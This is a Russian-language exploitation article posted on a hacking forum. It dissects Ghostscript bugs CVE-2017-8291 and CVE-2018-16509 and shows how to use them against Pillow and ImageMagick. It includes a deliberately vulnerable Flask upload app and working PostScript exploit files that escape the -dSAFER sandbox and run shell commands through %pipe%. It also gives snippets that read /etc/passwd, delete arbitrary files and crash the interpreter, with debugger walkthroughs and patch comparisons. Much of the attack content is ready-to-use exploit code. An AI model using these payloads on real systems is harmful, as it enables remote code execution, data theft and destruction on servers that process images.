• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Злая картинка. Разбираем уязвимость в GhostScript, чтобы эксплуатировать Pillow и ImageMagick

tabac

CPU register
Пользователь
Регистрация
30.09.2018
Сообщения
1 610
Решения
1
Реакции
3 332
Злая картинка. Разбираем уязвимость в GhostScript, чтобы эксплуатировать Pillow и ImageMagick

Специалисты из Google Project Zero нашли несколько опасных уязвимостей в Ghostscript — популярной реализации PostScript. Правильно сформированный файл может позволить исполнять произвольный код в целевой системе. Уязвимости подвержена и библиотека Pillow, которую часто используют в проектах на Python, в том числе — на вебе. Как это эксплуатировать? Давай разбираться.
Python Imaging Library (PIL) и ее современный форк Pillow предназначены для работы с изображениями из Python. В общих чертах они напоминают модуль gd в PHP. Эти библиотеки используются во многих популярных фреймворках и модулях. Их вызовы можно встретить в самых разных примерах кода. В общем, Pillow нередко встречается в продакшене, если один из компонентов стека — это язык Python.

Для операций с файлами PIL и Pillow используют внешние утилиты, такие как Ghostscript. Ghostscript — это кросс-платформенный интерпретатор языка PostScript (PS). Он может обрабатывать файлы PostScript и конвертировать их в другие графические форматы, выводить содержимое и печатать на принтерах, не имеющих встроенной поддержки PostScript.

А PostScript, в свою очередь, — это не просто язык разметки, а полноценный язык программирования. В нем реализованы свои алгоритмы работы с текстом и изображениями.

Официальная документация Adobe на PostScript в данный момент насчитывает около 900 страниц текста и примеров. Так что развернуться тут есть где. Неудивительно, что настолько развесистая штуковина иногда позволяет проделывать вещи, которые не были предусмотрены разработчиками интерпретаторов.

На этот раз в интерпретаторе Ghostscript и была обнаружена пачка уязвимостей, которые снова нашел Тавис Орманди (Tavis Ormandy) из Google Project Zero. Он сообщил о своей находке осенью этого года. Найденные уязвимости — это, по сути, продолжение прошлогодней ошибки в Ghostscript, что получила название GhostButt.

Давай выясним, какие слабые места были обнаружены и каким образом их можно проэксплуатировать.

INFO
  • CVE-2017-8291 — GhostButt Ghostscript.
  • CVE-2018-16509 — новая уязвимость.

Стенд
Демонстрировать уязвимость я, как обычно, буду с помощью Docker и контейнера на основе Debian.
Код:
$ docker run --rm -p80:80 -ti --name=pilrce --hostname=pilrce debian /bin/bash
Если хочешь немного подебажить, то запускай контейнер с соответствующими ключами.
Код:
$ docker run --rm -p80:80 -ti --cap-add=SYS_PTRACE --security-opt seccomp=unconfined --name=pilrce --hostname=pilrce debian /bin/bash
Обновляем репозитории и устанавливаем Python, менеджер пакетов pip и вспомогательные утилиты.
Код:
$ apt update && apt install -y nano wget strace python python-pip gdb git
Теперь установим последнюю уязвимую версию Pillow.
Код:
$ pip install "Pillow==5.3.0"
Для удобства тестирования нам также понадобится Flask. Это популярный фреймворк для создания веб-приложений.
Код:
$ pip install flask
Теперь с его помощью напишем небольшой скриптик, который будет принимать пользовательские картинки и менять их размер. Довольно обычное поведение для современных веб-сервисов.

app.py
Код:
01: from flask import Flask, flash, get_flashed_messages, make_response,  redirect, render_template_string, request
02: from os import path, unlink
03: from PIL import Image
04:
05: import tempfile
06:
07: app = Flask(__name__)
08:
09: @app.route('/', methods=['GET', 'POST'])
10: def upload_file():
11:     if request.method == 'POST':
12:         file = request.files.get('image', None)
13:
14:         if not file:
15:             flash('No image found')
16:             return redirect(request.url)
17:
18:         filename = file.filename
19:         ext = path.splitext(filename)[1]
20:
21:         if (ext not in ['.jpg', '.jpeg', '.png', '.gif', '.bmp']):
22:             flash('Invalid extension')
23:             return redirect(request.url)
24:
25:         tmp = tempfile.mktemp("test")
26:         img_path = "{}.{}".format(tmp, ext)
27:
28:         file.save(img_path)
29:
30:         img = Image.open(img_path)
31:         w, h = img.size
32:         ratio = 256.0 / max(w, h)
33:
34:         resized_img = img.resize((int(w * ratio), int(h * ratio)))
35:         resized_img.save(img_path)
36:
37:         r = make_response()
38:         r.data = open(img_path, "rb").read()
39:         r.headers['Content-Disposition'] = 'attachment; filename=resized_{}'.format(filename)
40:
41:         unlink(img_path)
42:
43:         return r
44:
45:     return render_template_string('''
46:     <!doctype html>
47: <title>Image Resizer</title>
48: <h1>Upload an Image to Resize</h1>
49: {% with messages = get_flashed_messages() %}
50: {% if messages %}
51: <ul class=flashes>
52: {% for message in messages %}
53: <li>{{ message }}</li>
54: {% endfor %}
55: </ul>
56: {% endif %}
57: {% endwith %}
58: <form method=post enctype=multipart/form-data>
59: <p><input type=file name=image>
60: <input type=submit value=Upload>
61: </form>
62:     ''')
63:
64: if __name__ == '__main__':
65:     app.run(threaded=True, port=80, host="0.0.0.0")
Осталось запустить этот скрипт и посмотреть на результат его работы в браузере.
Код:
$ python app.py

python-pil-test-stand.jpg

Готовый стенд для тестирования уязвимости в PIL

Если не хочешь возиться со всеми предустановками вручную, то можешь воспользоваться готовым решением из репозитория Vulhub.

Также нам нужен собственно сам Ghostscript версии ниже 9.24. Я буду использовать две версии: 9.21 — для демонстрации уязвимости GhostButt и 9.23 — для тестирования текущего бага. Взять их можно на официальном сайте в разделе загрузок.
Код:
$ wget https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/download/gs923/ghostscript-9.23-linux-x86_64.tgz
$ wget https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/download/gs921/ghostscript-9.21-linux-x86_64.tgz
$ tar xvzf ghostscript-9.23-linux-x86_64.tgz && tar xvzf ghostscript-9.21-linux-x86_64.tgz
После распаковки в соответствующих папках ты найдешь бинарники gs-921-linux-x86_64и gs-923-linux-x86_64. Я буду перемещать их в /usr/bin/gs по мере необходимости.

Еще я поставил вспомогательную утилиту для отладчика GDB — pwndbg.
Код:
$ git clone https://github.com/pwndbg/pwndbg
$ cd pwndbg
$ ./setup.sh
И скачал исходники Ghostscript, чтобы скомпилировать дебаг-версии утилиты.
Код:
$ cd ~
$ wget https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/download/gs921/ghostscript-9.21.tar.gz
$ wget https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/download/gs923/ghostscript-9.23.tar.gz
$ tar xvf ghostscript-9.21.tar.gz
$ tar xvf ghostscript-9.23.tar.gz
$ cd ~/ghostscript-9.21 && ./configure && make debug
$ cd ~/ghostscript-9.23 && ./configure && make debug
Готовые дебаг-бинарники будут лежать в папке debugbin. Вот теперь стенд готов.

ghostscript-debug-build-binary.jpg

Бинарник Ghostscript, скомпилированный с отладочной информацией


Оригинальный GhostButt (CVE-2017-8291) и причины уязвимости PIL
Прежде чем переходить к рассмотрению недавних уязвимостей, вернемся на год назад и посмотрим на их прародителя. Проблемные версии — 9.21 и ниже, поэтому берем 9.21.
Код:
$ cp ~/ghostscript-9.21-linux-x86_64/gs-921-linux-x86_64 /usr/bin/gs

ghostscript-9-21-installed.jpg

Используем Ghostscript версии 9.21

Первым делом стоит обратить внимание на то, что PIL автоматически определяет тип передаваемого файла. По аналогии с ImageMagick библиотека смотрит на заголовок картинки и передает управление нужному участку кода.

/src/PIL/Image.py
Код:
2618:     prefix = fp.read(16)
...
2642:     im = _open_core(fp, filename, prefix)
...
2644:     if im is None:
2645:         if init():
2646:             im = _open_core(fp, filename, prefix)
...
2623:     def _open_core(fp, filename, prefix):
2624:         for i in ID:
2625:             try:
2626:                 factory, accept = OPEN[i]
2627:                 result = not accept or accept(prefix)
2628:                 if type(result) in [str, bytes]:
2629:                     accept_warnings.append(result)
2630:                 elif result:
2631:                     fp.seek(0)
2632:                     im = factory(fp, filename)
2633:                     _decompression_bomb_check(im.size)
2634:                     return im
2635:             except (SyntaxError, IndexError, TypeError, struct.error):
2636:                 # Leave disabled by default, spams the logs with image
2637:                 # opening failures that are entirely expected.
2638:                 # logger.debug("", exc_info=True)
2639:                 continue
2640:         return None
При обработке файла отрабатывает функция _open_core. Она вызывает метод _accept из каждого класса, который отвечает за формат файла. В качестве аргументов передаются первые 16 байт обрабатываемого файла.

/src/PIL/BmpImagePlugin.py
Код:
49: def _accept(prefix):
50:     return prefix[:2] == b"BM"
/src/PIL/GifImagePlugin.py
Код:
38: def _accept(prefix):
39:     return prefix[:6] in [b"GIF87a", b"GIF89a"]
/src/PIL/EpsImagePlugin.py
Код:
190: def _accept(prefix):
191:     return prefix[:4] == b"%!PS" or \
192:            (len(prefix) >= 4 and i32(prefix) == 0xC6D3D0C5)
Это открывает неплохой плацдарм для обхода черных и белых списков.

Нам интересен загрузчик EpsImagePlugin, который работает с файлами PostScript. Как мы выяснили выше, для его вызова необходимо, чтобы файл имел хидер %!PS.

Теперь сфокусируемся на том, как Python общается с Ghostscript.

/src/PIL/EpsImagePlugin.py
Код:
328:     def load(self, scale=1):
329:         # Load EPS via Ghostscript
330:         if not self.tile:
331:             return
332:         self.im = Ghostscript(self.tile, self.size, self.fp, scale)
Функция load создает экземпляр класса Ghostscript для общения с бинарником gs.

/src/PIL/EpsImagePlugin.py
Код:
070: def Ghostscript(tile, size, fp, scale=1):
071:     """Render an image using Ghostscript"""
...
118:     # Build Ghostscript command
119:     command = ["gs",
120:                "-q", # Quiet mode
121:                "-g%dx%d" % size, # Set output geometry (pixels)
122:                "-r%fx%f" % res, # Set input DPI (dots per inch)
123:                "-dBATCH", # Exit after processing
124:                "-dNOPAUSE", # Don’t pause between pages
125:                "-dSAFER", # Safe mode
126:                "-sDEVICE=ppmraw", # Ppm driver
127:                "-sOutputFile=%s" % outfile, # Output file
128:                "-c", "%d %d translate" % (-bbox[0], -bbox[1]),
129:                # Adjust for image origin
130:                "-f", infile, # Input file
131:                "-c", "showpage", # Showpage (see: https://bugs.ghostscript.com/show_bug.cgi?id=698272)
132:                ]
...
139:     # Push data through Ghostscript
140:     try:
141:         with open(os.devnull, 'w+b') as devnull:
142:             startupinfo = None
143:             if sys.platform.startswith('win'):
144:                 startupinfo = subprocess.STARTUPINFO()
145:                 startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW
146:             subprocess.check_call(command, stdin=devnull, stdout=devnull,
147:                                   startupinfo=startupinfo)
148:         im = Image.open(outfile)
149:         im.load()
Посмотрим, как выглядит запрос на практике. Сделаем пустую картинку.

test.png
Код:
%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: -0 -0 100 100
Используем расширение .png, чтобы увидеть, что файл обрабатывается в соответствии с содержимым. И набросаем тестовый скрипт, который возвращает размер документа в пикселях.

test.py
Код:
01: from PIL import Image
02: import sys
03:
04: def get_img_size(filepath=""):
05:     ''' Get the image length and width '''
06:     if filepath:
07:         img = Image.open(filepath)
08:         img.load()
09:         return img.size
10:     return (0, 0)
11:
12: print(get_img_size(sys.argv[1]))
Запустим наш скрипт, используя утилиту strace.
Код:
$ strace -f -e trace=execve python test.py test.png

strace-python-pil-script-run.jpg

Результат запуска скрипта через утилиту strace

Видим, что был вызван бинарник gs с некоторым набором определенных в скрипте параметров. Полностью команда имеет вид
Код:
$ /usr/bin/gs -q -g100x100 -r72.000000x72.000000 -dBATCH -dNOPAUSE -dSAFER -sDEVICE=ppmraw -sOutputFile=/tmp/tmpkwUxze -c 0 0 translate -f test.png -c showpage
Аргумент -dSAFER включает своего рода песочницу, которая ограничивает возможность удаления, переименования и выполнения произвольного кода в контексте работы gs. Если бы не этот флаг, то для выполнения RCE достаточно было бы файла PostScript следующего вида:

test1.png
Код:
%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: -0 -0 100 100
currentdevice null false mark /OutputFile (%pipe%echo RCE_IS_HERE > /dev/tty)
.putdeviceparams
1 true .outputpage
0 0 .quit

ghostscript-rce-without-safer-flag.jpg

Выполнение произвольного кода в Ghostscript без флага SAFER

Но этот флаг используется уже испокон веков, так что нужно как-то пробиваться через него.

Именно в этом и заключается уязвимость GhostButt: отключение песочницы и выполнение произвольного кода. Скачаем документ-эксплоит и проверим его работоспособность.

CVE-2017-8291.png
Код:
001: %!PS-Adobe-3.0 EPSF-3.0
002: %%BoundingBox: -0 -0 100 100
003:
004:
005: /size_from  10000      def
006: /size_step    500      def
007: /size_to   65000      def
008: /enlarge    1000      def
009:
010: %/bigarr 65000 array def
...
094: currentdevice null false mark /OutputFile (%pipe%touch /tmp/aaaaa)
095: .putdeviceparams
096: 1 true .outputpage
097: .rsdparams
098: %{ } loop
099: 0 0 .quit
100: %asdf
Снова воспользуемся помощью утилиты strace.
Код:
$ strace -f -e trace=execve python test.py CVE-2017-8291.png

ghostscript-pil-cve-2017-8291-rce-exploitation.jpg

Успешная эксплуатация RCE-уязвимости GhostButt (CVE-2017-8291) в Ghostscript 9.21

Эксплоит успешно отработал.

В Ghostscript все манипуляции совершаются в контексте устройств вывода, так называемых девайсов (devices). У каждого такого девайса есть набор параметров и настроек, одна из которых — флаг LockSafetyParams. Если он установлен в true, то включается режим песочницы.

Как ты понял, манипулировать флагом можно с помощью аргумента командной строки SAFER. По дефолту он выключен, но в нашем случае Python вызывает бинарник gs с включенной опцией безопасного выполнения. Поэтому основная задача эксплоита — выставить этот флаг в false перед тем, как передать управление полезной нагрузке. Для этих целей используется цепочка уязвимостей и трюков.

Как ты помнишь, PostScript — это полноценный язык программирования, который концептуально напоминает язык форт).

PostScript — конкатенативный язык. В таком языке широко используется неявное указание аргументов функций, новые функции определяются как композиция функций, а вместо аппликации применяется конкатенация. Язык PostScript использует стек для хранения операнда и передачи аргументов функциям, а переменные osbot, osp и ostop указывают на низ, указатель и вершину стека соответственно.

/ghostscript-9.21/psi/ostack.h
Код:
25: // Define the operand stack pointers for operators.
26: #define iop_stack (i_ctx_p->op_stack)
27: #define o_stack (iop_stack.stack)
28:
29: #define osbot (o_stack.bot)
30: #define osp (o_stack.p)
31: #define ostop (o_stack.top)
Этот стек так и называется стеком операндов (operand stack). Помимо него, есть еще два вида стеков — стек словарей (dictionary stack) и стек исполнения (execution stack), но в рамках данной статьи нам они неинтересны.

В реализации Ghostscript стек хранится в памяти в виде кучи (heap), и программистам нужно уделять большое внимание логике тех функций, которые могут им манипулировать.

Вернемся к эксплоиту и пробежимся по нему в отладчике, рассмотрим основные моменты, чтобы понять, что же там происходит и почему такая последовательность команд ведет к выполнению произвольного кода. Будем использовать бинарник с отладочной информацией.
Код:
$ cp ~/ghostscript-9.21/debugbin/gs /usr/bin/gs
$ gdb --args gs -q -dBATCH -dNOPAUSE -dSAFER -sDEVICE=ppmraw -sOutputFile=/dev/null -f CVE-2017-8291.png

ghostbutt-rce-through-gdb.jpg

Уязвимость GhostButt в отладчике GDB

Мы знаем, что эксплоит создает файл в директории /tmp. Делает он это при помощи следующей команды:
Код:
$ /OutputFile (%pipe%touch /tmp/aaaaa)
Поискав в сорцах конструкцию %pipe%, натыкаемся на файл, который ее обрабатывает. Вызывается функция pipe_fopen, где отрабатывает popen. Этот вызов и выполняет переданную команду.

/ghostscript-9.21/base/gdevpipe.c
Код:
17: /* %pipe% IODevice */
...
27: /* The pipe IODevice */
28: static iodev_proc_fopen(pipe_fopen);
29: static iodev_proc_fclose(pipe_fclose);
30: const gx_io_device gs_iodev_pipe = {
31:     "%pipe%", "Special",
32:     {iodev_no_init, iodev_no_open_device,
33:      NULL /*iodev_os_open_file */ , pipe_fopen, pipe_fclose,
34:      iodev_no_delete_file, iodev_no_rename_file, iodev_no_file_status,
35:      iodev_no_enumerate_files, NULL, NULL,
36:      iodev_no_get_params, iodev_no_put_params
37:     }
38: };
39:
...
43: pipe_fopen(gx_io_device * iodev, const char *fname, const char *access,
44:            FILE ** pfile, char *rfname, uint rnamelen)
45: {
...
60:     *pfile = popen((char *)fname, (char *)access);
Давай поставим брейк-пойнт на popen и выполним нашу команду.

ghostbutt-debug-popen-break.jpg

Отладка эксплоита GhostButt. Брейк-пойнт на функции popen

Выполним команду bt, чтобы увидеть, как мы до такого докатились.

ghostbutt-popen-break-backtrace.jpg

Бэктрейс во время вызова popen

Видим, что уязвимость срабатывает после функции zoutputpage. Оператор .outputpage в PostScript отправляет страницу на указанное устройство.
Что же такого особенного в структуре этой страницы? Обрати внимание на команду .eqproc. Она принимает на вход два операнда из стека, сравнивает их, а результат в виде булева значения записывает в стек.

/ghostscript-9.21/psi/zmisc3.c
Код:
053: zeqproc(i_ctx_t *i_ctx_p)
054: {
055:     os_ptr op = osp;
056:     ref2_t stack[MAX_DEPTH + 1];
057:     ref2_t *top = stack;
058:
059:     make_array(&stack[0].proc1, 0, 1, op - 1);
060:     make_array(&stack[0].proc2, 0, 1, op);
Так как типы операндов не проверяются, то можно сравнить любые операнды. Используя .eqproc в цикле, можно вызвать переполнение указателя стека в стеке операндов, и каждый последующий вызов функции будет записывать в стек примитив.

/ghostscript-9.21/psi/zmisc3.c
Код:
112:     make_false(op - 1);
113:     pop(1);
114:     return 0;
115: }

ghostbutt-debugging-zeqproc.jpg

Отладка .eqproc в Ghostscript

Сравни, вот та же самая функция в Ghostscript версии 9.23.

/ghostscript-9.23/psi/zmisc3.c
Код:
62: zeqproc(i_ctx_t *i_ctx_p)
63: {
64:     os_ptr op = osp;
65:     ref2_t stack[MAX_DEPTH + 1];
66:     ref2_t *top = stack;
67:
68:     check_op(2);
69:     if (!eqproc_check_type(op -1) || !eqproc_check_type(op)) {
70:         make_false(op - 1);
71:         pop(1);
72:         return 0;
73:     }
74:
75:     make_array(&stack[0].proc1, 0, 1, op - 1);
76:     make_array(&stack[0].proc2, 0, 1, op);
77:     for (;;) {
Добавился блок с проверкой сравниваемых операндов.
Как это можно использовать? Для манипуляции указателем стека применяется еще один оператор — aload, так что указатель стека обновляется до адреса следующей кучи строкового буфера. Переполняя и записывая примитивы, злоумышленник может вывести относительный адрес следующего указателя стека (osp) и затем выполнить строковую функцию, которая переопределит часть свойств объекта стека.
Код:
<array> aload <obj_0> ... <obj_n-1> <array>
Когда размер массива превышает текущее свободное пространство стека, zaload выделит память при помощи вызова ref_stack_push, перераспределит стек и перезапишет указатель стека osp.

/ghostscript-9.21/psi/zarray.c
Код:
49: /* <array> aload <obj_0> ... <obj_n-1> <array> */
50: static int
51: zaload(i_ctx_t *i_ctx_p)
52: {
...
62:     if (asize > ostop - op) {   /* Use the slow, general algorithm. */
63:         int code = ref_stack_push(&o_stack, asize);
64:         uint i;
65:         const ref_packed *packed = aref.value.packed;
66:
67:         if (code < 0)
68:             return code;
69:         for (i = asize; i > 0; i--, packed = packed_next(packed))
70:             packed_get(imemory, packed, ref_stack_index(&o_stack, i));
71:         *osp = aref;
72:         return 0;
73:     }
Для удобства дальнейшей отладки расставим функцию вывода строк (print) так, чтобы она срабатывала во время выполнения всех важных частей эксплоита, а ловить их будем при помощи бряков на zprint.

CVE-2017-8291.png
Код:
44: /buffersearchvars [0 0 0 0 0] def
45: /sdevice [0] def
46:
47: buffers
48: (hey) print
49: pop     % discard buffers on operator stack
50:
51: enlarge array aload
52: (after aload) print
53: {
54:     .eqproc
После того как бряк сработает в первый раз, дно стека (ospbot) будет находиться по адресу 0x555556fe4128, а указатель на стек (osp) — 0x555556fe4138. По адресу 0x5555572762eb расположилась строка hey, которую мы собираемся выводить. А последний элемент — адрес строкового буфера. Он лежит по адресу 0x555557901580, и его размер — 65 000 байт. Конец буфера обозначается последовательностью байтов 0xff.

ghostbutt-debugging-stack-manipulation.jpg

Момент перед манипуляцией со стеком при помощи aload

Продолжим выполнение программы. Теперь, после выполнения aload, дно стека находится по адресу 0x5555574a1988, а указатель на стек — 0x555556fe4138. То есть теперь он указывает на ранее выделенную память строкового буфера.

ghostbutt-debugging-stack-pointers-change.jpg

Манипуляция со стеком при помощи aload

Когда только указатель стека переназначен, мы можем использовать .eqproc для переполнения. При помощи buffersearchvars сохраняются переменные поиска, и эксплоит в цикле проверяет, был ли изменен байт 0xff в конце строки во всех буферах. Это нужно для того, чтобы определить, что указатель стека (osp) достиг нужного нам диапазона и перекрывается со строковым буфером.

Добавим еще немого print для упрощения отладки.

CVE-2017-8291.png
Код:
58:     buffercount {
59:         buffers buffersearchvars 1 get get
60:         buffersizes buffersearchvars 1 get get
61:         16 sub get
62:         254 le { % Перезаписан ли байт 0xff?
63:             buffersearchvars 2 1 put
64:             buffersearchvars 3 buffers buffersearchvars 1 get get put
65:             buffersearchvars 4 buffersizes buffersearchvars 1 get get 16 sub put
66:         } if
67:         buffersearchvars 1 buffersearchvars 1 get 1 add put
68:     } repeat
69:
70:     buffersearchvars 2 get 1 ge {
71:         exit
72:     } if
73:     %(.) print
74: } loop
...
79: sdevice 0 % Сохраняем указатель на объект девайса
80: currentdevice
81: (before convert to string type) print
82: buffersearchvars 3 get buffersearchvars 4 get 16#7e put
83: buffersearchvars 3 get buffersearchvars 4 get 1 add 16#12 put % Записываем конструкцию 0x127e, тем самым меняем тип объекта на string
84: buffersearchvars 3 get buffersearchvars 4 get 5 add 16#ff put
85: (convert completed) print
...
89: buffersearchvars 0 get array aload
90: (LockSafetyParams->1) print
91: sdevice 0 get
92: 16#3e8 0 put
93: (LockSafetyParams->0) print
Используем строковый буфер (string buffer), чтобы переписать тип объекта device следующего стека и сделать его строковым (string). Для этого запишем конструкцию 0x127e вместо 0x1378.

ghostbutt-debugging-device-convert-to-string.jpg

Перезапись типа объекта устройства: device превращается в string

Полученный объект нужно сохранить в массиве sdevice и, наконец, перезаписать свойство LockSafetyParams для того, чтобы отключить песочницу и обойти режим SAFER. Флаг находится по смещению 0x3e8 относительно объекта.

ghostbutt-debugging-before-safer-bypass.jpg

Свойство LockSafetyParams установлено в true, но это только пока

В данный момент он установлен в true. Но после выполнения 16#3e8 0 put флаг сбрасывается, и эксплоит успешно завершает работу выполнением указанного пейлоада.

ghostbutt-safer-bypass-and-successfuly-exploitation.jpg

Отключение песочницы и успешная эксплуатация

С GhostButt разобрались, можно переходить к недавним уязвимостям.


Новые проблемы в Ghostscript и уязвимость CVE-2018-16509
Теперь будем использовать бинарник Ghostscript версии 9.23.
Код:
$ cp ~/ghostscript-9.23-linux-x86_64/gs-923-linux-x86_64 /usr/bin/gs
Если еще не устал от дебага, то бери утилиту с отладочной информацией.
Код:
$ cp ~/ghostscript-9.23/debugbin/gs /usr/bin/gs
Тавис Орманди нашел еще целую пачку уязвимостей. Давай рассмотрим их в порядке увеличения критичности.

В описании функции setcolor сказано, что проверка операнда не требуется, так как он скрыт за псевдооператором с тем же именем и может быть использован только в определенных ситуациях.

/ghostscript-9.23/psi/zcolor.c
Код:
263:  /* This operator is hidden by a pseudo-operator of the same name, so it will
264:  * only be invoked under controlled situations. Hence, it does no operand
265: * checking.
266:  */
267: static int
268: zsetcolor(i_ctx_t * i_ctx_p)
269: {
Однако ты можешь вызвать его косвенно через setpattern, поэтому проверка необходима. Команда
Код:
<< /whatever 16#414141414141 >> setpattern
вызывает ошибку сегментации.

ghostscript-setcolor-segfault.jpg

Вызов setcolor через setpattern и ошибка сегментации в Ghostscript

Следующая ошибка типа «несоответствие типов» (type confusion) была обнаружена в параметре LockDistillerParams. Он должен иметь логический тип, но это нигде не проверяется.

/ghostscript-9.23/devices/vector/gdevpsdf.h
Код:
105:     bool LockDistillerParams;
Поэтому конструкция
Код:
<< /LockDistillerParams 16#4141414141414141 >> .setdistillerparams
также вызовет ошибку сегментации.

ghostscript-lockdistillerparams-type-confusion.jpg

Ошибка type confusion в параметре LockDistillerParams

Проблема под номером три закралась в функцию ztempfile. В качестве аргументов ей нужно передать имя файла и флаги режима его открытия (запись, чтение и так далее).

/ghostscript-9.23/psi/zfile.c
Код:
695: /* <prefix|null> <access_string> .tempfile <name_string> <file> */
696: static int
697: ztempfile(i_ctx_t *i_ctx_p)
698: {
699:     os_ptr op = osp;
700:     const char *pstr;
701:     char fmode[4];
702:     int code = parse_file_access_string(op, fmode);
703:     char *prefix = NULL;
...
712:     prefix = (char *)gs_alloc_bytes(imemory, gp_file_name_sizeof, "ztempfile(prefix)");
713:     fname = (char *)gs_alloc_bytes(imemory, gp_file_name_sizeof, "ztempfile(fname)");
714:     if (!prefix || !fname) {
715:         code = gs_note_error(gs_error_VMerror);
716:         goto done;
717:     }
Только вот если передать полный путь, то вместо того, чтобы отбросить его и положить временный файл в директорию tmp, где ему самое место, Ghostscript создаст его в указанной директории.

Для проверки воспользуемся утилитой strace.
Код:
$ strace -fefile gs -sDEVICE=ppmraw -dSAFER
Код:
(/proc/self/cwd/gigity) (w) .tempfile

ghostscript-tempfile-path-traversal.jpg

Создание файла вне временной директории при помощи tempfile в Ghostscript

Как видишь, есть небольшая проблема — префикс (prefix). Он мешает эксплуатировать эту уязвимость по полной программе. Если будет интересно, можешь попробовать обойти это поведение.

После этого можно писать в файл любые данные с помощью writestring. Не забудь закрыть файл, когда закончишь.
Код:
dup
(hello) writestring
closefile
Тут нас поджидает еще одна проблемка. После завершения работы Ghostscript временный файл будет удален.

ghostscript-tempfile-unlink.jpg

Удаление временного файла после завершения работы утилиты Ghostscript

Решается она просто: нужно не дать утилите нормально завершить работу. Как вариант, подойдет любой из багов, которые крашат GS.

ghostscript-tempfile-unlink-bypass.jpg

Обход удаления временного файла после выполнения функции tempfile в Ghostscript

Чтобы удалить произвольный файл, можно воспользоваться конструкцией
Код:
{ .bindnow } stopped {} if
(/etc/passwd) [] .tempfile
После завершения работы GS указанный файл будет удален.

ghostscript-delete-any-file.jpg

Удаление произвольного файла с помощью Ghostscript

Еще Орманди придумал, каким образом можно читать любые файлы, доступные пользователю. Он написал функцию, которая интерпретирует содержимое файла PostScript и ловит ошибки синтаксиса. Будь аккуратнее: так как тут используется функция tempfile, после завершения скрипт Ghostscript попытается удалить прочитанный файл.

fileread.ps
Код:
01: /FileToSteal (/etc/passwd) def
02: errordict /undefinedfilename {
03:     FileToSteal % save the undefined name
04: } put
05: errordict /undefined {
06:     (STOLEN: ) print
07:     counttomark {
08:         ==only
09:     } repeat
10:     (\n) print
11:     FileToSteal
12: } put
13: errordict /invalidfileaccess {
14:     pop
15: } put
16: errordict /typecheck {
17:     pop
18: } put
19: FileToSteal [] .tempfile
20: statusdict
21: begin
22:     1 1 .setpagesize
23: end
24: quit

ghostscript-file-reader.jpg

Чтение файлов при помощи Ghostscript

С Ghostscript версии 9.24 такие трюки уже не сработают, потому что разработчики добавили проверку пути при выполнении tempfile. Сравни две версии файла zfile.c.

/ghostscript-9.23/psi/zfile.c
Код:
736:     if (gp_file_name_is_absolute(pstr, strlen(pstr))) {
737:         if (check_file_permissions(i_ctx_p, pstr, strlen(pstr),
738:                                    NULL, "PermitFileWriting") < 0) {
739:             code = gs_note_error(gs_error_invalidfileaccess);
740:             goto done;
...
782:     make_string(op - 1, a_readonly | icurrent_space, fnlen, sbody);
783:     make_stream_file(op, s, fmode);
784:
785: done:
/ghostscript-9.24/psi/zfile.c
Код:
764:     if (gp_file_name_is_absolute(pstr, strlen(pstr))) {
765:         int plen = strlen(pstr);
766:         const char *sep = gp_file_name_separator();
767: #ifdef DEBUG
768:         int seplen = strlen(sep);
769:         if (seplen != 1)
770:             return_error(gs_error_Fatal);
771: #endif
772:         /* strip off the file name prefix, leave just the directory name
773:          * so we can check if we are allowed to write to it
774:          */
775:         for ( ; plen >=0; plen--) {
776:             if (pstr[plen] == sep[0])
777:                 break;
778:         }
779:         memcpy(fname, pstr, plen);
780:         fname[plen] = '\0';
781:         if (check_file_permissions(i_ctx_p, fname, strlen(fname),
782:                                    NULL, "PermitFileWriting") < 0) {
783:             code = gs_note_error(gs_error_invalidfileaccess);
784:             goto done;
...
826:     make_string(op - 1, a_readonly | icurrent_space, fnlen, sbody);
827:     make_stream_file(op, s, fmode);
828:     code = record_file_is_tempfile(i_ctx_p, (unsigned char *)fname, fnlen, true);
А на сладкое у нас — выполнение произвольных команд. Только на этот раз все гораздо проще и не нужно никаких манипуляций со стеком и прочей бинарщины. Оказывается, проверки типа invalidaccess перестают работать после некорректного использования команды restore. Нам нужно лишь обработать ошибку и спокойно выполнять команды уже известным способом, с помощью OutputFile.
Код:
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%id) currentdevice putdeviceprops
showpage

ghostscript-9-23-rce.jpg

RCE-эксплоит для Ghostscript 9.23 успешно отработал

А что там у нас с веб-сервером на Python? Ты, наверное, уже и позабыл про него. Тут все просто — отправляем наш вектор в файле, используя любое из разрешенных расширений, например png, и не забываем про хидер %!PS.

CVE-2018-16509.png
Код:
01: %!PS-Adobe-3.0 EPSF-3.0
02: %%BoundingBox: -0 -0 100 100
03:
04: userdict /setpagedevice undef
05: save
06: legal
07: { null restore } stopped { pop } if
08: { legal } stopped { pop } if
09: restore
10: mark /OutputFile (%pipe%uname -a > /tmp/owned) currentdevice putdeviceprops

python-pillow-rce-successful.jpg

Успешная эксплуатация RCE-уязвимости Python-библиотеки Pillow через Ghostscript 9.23

Шалость удалась, и команда была выполнена на целевой машине.

Но не только Pillow использует Ghostscript в качестве сторонней утилиты, таким же методом пользуется небезызвестный ImageMagick.

/ImageMagick6/6.9.7-4/www/source/delegates.xml
Код:
<delegate decode="ps:alpha" stealth="True" command="&quot;gs&quot; -q -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 &quot;-sDEVICE=pngalpha&quot; -dTextAlphaBits=%u -dGraphicsAlphaBits=%u &quot;-r%s&quot; %s &quot;-sOutputFile=%s&quot; &quot;-f%s&quot; &quot;-f%s&quot;"/>
Строка вызова бинарника gs немного отличается от таковой в Pillow, но это не мешает этому же эксплоиту отрабатывать на ура.

imagemagick-rce-through-ghostscript.jpg

RCE в ImageMagick через Ghostscript


Демонстрация уязвимости (видео)


Выводы
Сегодня мы немного окунулись в дебри языка PostScript и посмотрели на причины уязвимости в одном из его интерпретаторов — Ghostscript. Разобрались, какими опасными могут быть простые картинки, даже несмотря на белые списки форматов.

